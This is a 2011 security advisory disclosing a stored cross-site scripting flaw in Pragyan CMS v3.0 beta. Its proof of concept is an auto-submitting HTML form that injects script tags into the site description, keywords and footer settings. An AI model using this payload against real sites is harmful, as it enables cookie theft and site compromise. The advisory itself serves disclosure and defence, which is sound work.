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From:High-Tech Bridge Security Research <advisory_(at)_htbridge.ch>
Date:3 марта 2011 г.
Subject:HTB22853: XSS vulnerability in Pragyan CMS

Vulnerability ID: HTB22853
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pragyan_cms.html
Product: Pragyan CMS
Vendor: Pragyan Team ( http://sourceforge.net/projects/pragyan/ )
Vulnerable Version: v.3.0 beta
Vendor Notification: 17 February 2011
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "cms/admin.lib.php" script to properly sanitize user-supplied input in "cms_desc", "cms_keywords", "cms_footer" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/?page=/&action=admin&subaction=global" method="post" name="main">
<input type="hidden" name="cms_title" value="Pragyan CMS">
<input type="hidden" name="cms_desc" value='desc3"><script>alert(document.
cookie)</script>'>
<input type="hidden" name="cms_keywords" value='Pragyan CMS"><script>alert(document.
cookie)</script>'>
<input type="hidden" name="cms_footer" value='Powered by Praygan CMS"><script>alert(document.
cookie)</script>'>
<input type="hidden" name="cms_email" value="[email protected]">
<input type="hidden" name="default_template" value="crystalx">
<input type="hidden" name="update_global_settings" value="">
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version

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